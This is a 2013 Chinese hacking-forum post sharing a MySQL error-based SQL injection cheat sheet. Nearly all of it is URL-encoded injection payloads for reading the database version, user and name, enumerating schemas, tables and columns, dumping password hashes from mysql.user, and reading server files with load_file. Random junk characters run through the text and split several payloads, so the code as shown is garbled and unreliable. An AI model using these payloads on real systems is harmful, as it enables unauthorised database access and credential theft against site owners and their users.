本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
8 `/ \+ G3 Z9 s! L9 p/ u* s: b3 @3 U
( J. o }) k+ Q. Z9 G: F
Mysql暴错注入参考(pdf),每天一贴。。。
$ R0 O; i0 F7 g% C
8 X I' |1 l, P/ M3 }6 h: \MySql Error Based Injection Reference; o- m: `6 X( x2 c5 J' l8 X
[Mysql暴错注入参考]
4 e' d4 ]) ^3 S4 ? aAuthornig0s1992
/ P: B' X, O1 r# EBlog:http://pnig0s1992.blog.51cto.com/
5 I9 R( u( }. F% Q2 L3 L/ ~4 hTeAm:http://www.FreeBuf.com/, r$ R* a; D5 P7 ~& P
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
k4 C$ B1 M/ X+ \小部分版本使用name_const()时会报错.可以用给出的Method.2测试" W% l* Z0 G: K( H( U* A1 q* U
查询版本:0 r/ k) \) K% N1 M+ B
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+7 g3 [% S, k5 J7 ^$ b
join+(select+name_const(@@version,0))b)c)
- w3 T+ K I+ PMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
5 o7 v/ l; T$ ~! Oup by a)b)% g! h3 H' m5 A {3 [4 z
查询当前用户:8 h" D7 T* u9 s8 C% [ h; I6 ~
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
, c/ e# ]8 i# Q. A8 X( y# h7 xMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
8 Y1 T, r- E4 ~6 v* d, z! \8 ^and(0)*2))x+from+information_schema.tables+group+by+x)a)3 `% s+ u: O. D, R8 I
查询当前数据库:
- z. l6 K0 `3 j- Q. wMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)9 f* z6 i4 f W3 M% J/ o! c4 t
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
0 F% I+ I6 f- `: U+ aor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
3 M1 Q2 `# ^# @7 o2 H依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
! s! V ^% ]8 a+ U" @LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
2 t2 F! j: ~9 F4 |9 P; {9 g顺序替换
4 ?8 I3 D1 Z- p4 ~爆指定库数目:% i( r9 a2 i) z; V1 b
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t ]& D0 S! v7 d1 E# t
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
) [% M) F% |8 A) |" P+by+x)a)+and+1=1 0x6D7973716C=mysql0 X7 M) S! q1 ?, N5 m! m
依次爆表:
# P& M" H1 e3 K% s9 T: fand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
! }% u% C9 ?! L) sable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
3 v% C: v+ L2 o# ^6 @$ `5 p1 pbles+group+by+x)a)+and+1=1
6 D2 n* C: V E; Z7 D% L# _0x6D7973716C=Mysql 将n顺序替换
4 u( d3 u, a, _ r& P爆表内字段数目:
6 _9 ~6 a0 E u' A- Pand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE7 ]4 N; W Q5 U2 z& g* o8 \, _
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran$ B/ L* C9 ^3 X, U, x
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
1 }" p9 W# J+ @/ _1 e$ O依次爆字段:( Z$ o- y. ?8 _2 \0 G! n2 Q3 ]1 E
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
7 x( A1 \1 H. I6 V6 K+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,14 z: }. \) ?5 x% P6 P: n0 a8 ]& L
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换
' R6 j' e; ]( R( Y依次暴内容:
: Z7 ^# k X# J) ^- [7 P! Uand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
! P& Y, q" ?! V9 A& _* Q) h$ x: Zma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=18 _) ~" k) d* H e- S
将n顺序替换
5 I x# w M8 J( d8 [: y爆文件内容:
3 ~6 u* M; w/ n9 s" T9 L9 l8 a( Yand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a4 |* V3 I: y j+ a
from+information_schema.tables+group+by+a)b)
' {' R3 U! y, W+ x+ W0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
' G7 _8 ]0 P: a- X4 ]$ u" MThx for reading.: K' [, E4 O5 I8 z+ x, ^- r/ h
9 o) |$ k- A4 @不要下载也可以, ; S, ]7 n& B/ J8 I' T! W1 T
|